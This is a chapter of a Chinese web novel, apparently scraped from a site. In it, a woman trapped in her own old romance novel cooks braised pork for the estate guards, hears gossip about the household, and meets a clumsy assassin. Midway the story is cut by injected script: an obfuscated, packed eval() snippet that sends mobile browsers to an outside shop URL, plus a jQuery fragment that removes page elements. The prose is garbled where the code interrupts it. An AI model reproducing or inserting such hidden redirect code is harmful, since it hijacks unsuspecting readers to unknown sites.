明姌不禁把头偏了过去,她歪着脑袋,实在没有明白谢夕云为什么就没有按剧情套路来。
难不成是因为当年她写的时候没在书里加个系统吗?
但是自己已经跟她把接头暗号都已经对了,她怎么还不认下来?
是还想再试探一波的意思?
“妹妹何故如此?”
谢夕云满面担忧。
先时的明姌分明是个端庄得体的大家闺秀,怎此时就变成这副模样。
前后落差实在太大,倒叫谢夕云以为明姌是中了邪。
明姌一时间摸不准剧情的走向,于是冲着谢夕云露出乖巧的笑。
“这是我前些时日在戏本子里瞧来的,便想着演来与姐姐看上一看。”
明姌说着漏洞百出的借口:“是妹妹的过错,不曾事先与姐姐说清楚。”
谢夕云略略点头,并不疑心明姌所说之话。
眼看认亲没有成功,明姌也无心久留,就起身与谢夕云辞行。
回到屋内,明姌直接一个大字栽倒到床榻之上。
到底是哪里错了呢?
明姌把头埋进锦被里面,然后开启了来回摇头模式,吓得小桃都以为她被鬼上身了。
正当小桃思考着如何找道士驱鬼且不会被主母发现的时候,就看到明姌直接来了一场垂死病中惊坐起①。
小桃被明姌吓得直接后退两步,后背撞在架阁上,险些把架阁上摆着的瓷瓶给碰倒了。
“姑娘,怎么了?”
小桃扶稳了瓷瓶,才敢开口去问。
“没事,你回去歇着吧。”
明姌嘴上这么说,但她很清楚,压根称不上没事。
打发完小桃下去,明姌盘腿坐下,开始复盘。
她能确认的是,这个地方绝对就是出自自己那本古早言情文。
人名,地名,服饰,还有官职,都是按她的设定来的。
服饰官职背景也是会有雷同,但是人物名称,还有自己虚构出来的这个元州,那不可能有那么巧。
而且明夫人跟明婵的脾气性格也都跟自己设定的一样,所以肯定不会有错。
但是为什么偏偏这个谢夕云就会性格大变呢?
难道是还在试探自己?
明姌想不明白,在一通抓耳挠腮之后,她决定去厨房做顿好吃的。
没有穿书前的明姌,是个纯牛马。
每天面对周扒皮一样的老板,还有宫心计一样的同事,压力大到她通过食物来短期增加多巴胺,让自己感觉到幸福。
代价就是她成了全脂牛马。
为了从全脂牛马变成脱脂牛马,她又开始减肥健身,成功从一百八,回到了一百二。
为了能减肥,她开始自己做饭。
时间一长,减压的方式就从吃饭变成了做饭。
吃跟做之间的转换原因特别纯粹。
仅仅只是因为做完饭后的她,食欲骤减堪比绿成青青草原的股票。
早春的夜晚带着独有的寒凉,明姌双手交叉套进衣袖里面,然后在无人的走廊下蹦蹦跳跳跟个跳跳蛙一样地走着。
自打来到刺史府,明姌白天要接受明夫人跟明婵的刁难。
每次被罚的时候,她就会想到自己那个无良老板。
即使穿书了,她还是没能逃过万恶资本家的压迫。
压力一大,她就只能又去厨房做菜发泄。
时间一长,刺史府里那些巡夜的护卫自然就闻着味过来了。
毕竟有好吃的。
明姌摸进厨房里,熟门熟路地点着了灯,然后开始点算今天厨房留下来的食材。
很好,什么都没留下来。
看来只能做一餐正宗的减脂餐了。
白开水炒白开水,清蒸白开水,凉拌白开水,炖煮白开水,或者直接来一杯灵魂白开水当饮料。
厨房门被推开,有两颗脑袋像蛇一样地蛇了进来。
李大跟李二笑嘻嘻地把头蛇进来。
他们是这府上的护院,名字随便到跟没有名字一样。
当时明姌问他们叫什么的时候,他们就直接报了李大跟李二。
并在明姌的质疑声里坚定地表示了这就是真名。
明姌皱着眉头半晌,对于自己当年没有把满府家丁丫鬟都起好名字,导致他们只能以‘大’或‘二’或‘三’这样的名字示人这件事进行了自我谴责。
想着毕竟没有人乐意在看文的时候把路人甲乙丙丁的名字都记起来的时候,她又觉得这也正常。
好歹好记不是。
李大:“二娘子,今天吃什么呀?”
李二:“我巡了半宿的夜,都饿了。”
明姌摊了摊手:“巧妇难为无米之炊。”
李大+李二:“啥意思?”
“没食材,我空有厨艺也做不出饭菜。”
这两兄弟对视一眼,然后“嘿嘿”的笑了两声,李二就把头缩了回去。
没多久,他又重新把头蛇了回来。
只不过这一次,他是捧着一大筐子东西。
明姌立即竖起了大拇指。
666,果然是猫有猫道,狗有狗道,人真是不能小看自己笔下的任何一个角色。
厨房采买这种事向来都是最能捞油水的地方,厨房杨婆子为了多贴补自己,采买的时候恨不得一文钱掰成两瓣花。
这么恶劣的条件下,他们居然还能存下来肉蛋菜,确实是有本事。
“我家有个远房兄弟是负责看管冰窖的,东西存那边不容易坏,还有人看着。”
“就是,过会儿得给他也顺一点好吃的。”
李二放下竹筐,双手来回地搓,脸上笑容极尽谄媚。
“行。”明姌答应得爽快,随即撸起了袖子开干。
明姌从李二带来的竹筐里拿出一块肉。
那块肉肥瘦层叠,拥有着极其曼妙的五花三层。
可以制成一碗邪恶高热量的诱人红烧肉。
清洗铁锅之后,明姌将其冷水下锅,再切了几片老姜并打一个葱结,还有些许料酒,一起扔进了锅里。
不多时,锅中水沸,血沫与腥气散去之后,只留下了最为纯粹的香气。
明姌将其捞出,快刀切成大小均匀的方块,摆到一旁的海碗里。
清洗换锅后,锅里滑入少许底油,再下入几颗从杨婆子罐子里抠出来的冰糖,小火慢熬。
锅里的糖粒渐渐融化,翻起一颗又一颗诱人的泡沫。
明姌立刻就将焯好水的肉块倒入,随着吡啦声响起,她就开始快速翻炒。
随着一应的调料入锅,明姌盖上锅盖,然后把灶膛里的火弄小,开始慢慢炖煮。
咕噜咕噜的声音配着明姌切菜的声音,还有那一阵阵的香味,李大跟李二不约而同地咽了咽口水。
起锅装盘的时候,那些裹满酱汁的红烧肉,颤颤巍巍地跌进海碗里。
锅底酱汁淋在上面的一瞬间,又给它们蒙上了一层精华。
红烧肉加配小青菜,再加一碗萝卜汤,值夜暖胃好搭档。
李大跟李二先一步炫了两碗饭,然后就出去换了别人进来,一波又一波的人进来,明姌也收获了一波又一波的新八卦。
总结一下就是,明夫人跟明婵在得到谢夕云那个匣子后,马上就去库房清点了。
据守在库房外的护院说,她们母女俩一时笑,一时叫,他都要以为她们是得了疯病,刚从疯人院跑出来了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914457|213272||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“夫人跟大姑娘这样,真真是没有官眷的气度,身上的铜臭气比那些商贾还要重。”
“就是,就是。”
“我听说,那是因为家里亏空得厉害,夫人这是盯上了表姑娘的物件,好拿来给大姑娘当嫁妆。”
“你怎么知道?”
陈大一脸【你不懂了吧】的表情,好像那个停机后忽然接上了免费wifi立马拥有了5G冲浪网速一样:“账房先生家的小娘子,跟我关系不差。”
此言一出,同坐着的赵钱孙李各家的大郎们都发出了一声意味深长的哦~
带了尾意婉转曲折的那种。
明姌坐在边上,看着一群姓氏加大的护院围坐着吃东西,思考着过几天会不会有赵钱孙李各家的二郎们闪现,成为这府里负责洒扫的奴仆。
“大姑娘今年十七,确实也该许人家了。”
“听说主母原本是打算让大姑娘入宫的,哪曾想去年挑人的时候,大姑娘病了。”
一众人又露出一副原来如此的表情,独明姌一人在后头愁眉不展。
选秀?
她的小说里有这个设定?
明姌盯着灶膛里的炉火,再次复盘自己那本古早小说里面的情节。
按她的设定,元州刺史府就是女主用来当个跳板的,等过几天太子一来,她就跟太子达成合作。
然后先抄了明家,再跟着太子一路回都城,中间过五关斩六将,然后幸福地在一起。
套路是老的,情节是俗的,毕竟古早文,设定肯定跟不上现在的潮流。
但问题是身为作者的明姌,现在越来越不能确认剧情的走向了。
一行人说完这些,李大过来洗碗,看到明姌皱着脸的模样,立时安慰道:“二娘子莫要担忧,你的婚事就算夫人不上心,大人也必定会替你操持的。”
明云启操持婚礼?
开什么玩笑!
作为自己笔下第一个炮灰反派,她可太清楚明云启的性格了。
自私自利,为达目的不择手段,别说庶女了,让他卖老婆都行。
李大见明姌不说话,又道:“我听管事的说,大人这几日就会回府,到时候一定会给二娘子做主的。”
方才还围在一起的那群护卫也都回过味来,当即发出一阵此起彼伏的“对对对”。
明姌笑着说无事,只开口问了他们吃饱了没。
一众护卫都说饱了,纷纷过来洗碗。
能蹭饭已经是他们烧高香了,洗碗收拾这种活绝对不可能再让明家姑娘来做。
眼瞧着这帮人都走了,明姌解下了系在腰间的围裙,总结了一下目前得到的消息。
明夫人跟明婵已经把谢夕云的财物清点完毕,估计已经在盘算怎么分赃了。
明云启这个当家人也快回来了,她必须得在明云启回来前,跟谢夕云接上暗号才行。
明姌正想着,忽然听到屋外有声响。
她走到门口四处张望了一下,院里无人。
于是她按着大多小说描写的套路抬起了头。
果然,在走廊上面,贴着一个人。
一个穿着明家护卫衣服的男人。
四目相对的一瞬间,秋珩心里只闪过一个念头。
今天必须干掉她!
他的手摸到自己袖里的暗器,岂料没等他动手,梁柱上的青苔比他更早出手。
他脚滑了。
秋珩完全没有预料到这一种情况,在他反应过来之前,自己已经摔在了走廊石砖上。
呈大字,脸与石砖来了个亲密接触。
明姌眨了眨眼,脑子里头只有一个念头。
如果此时他身下的石砖裂开,那一定很有动漫的视觉冲击力。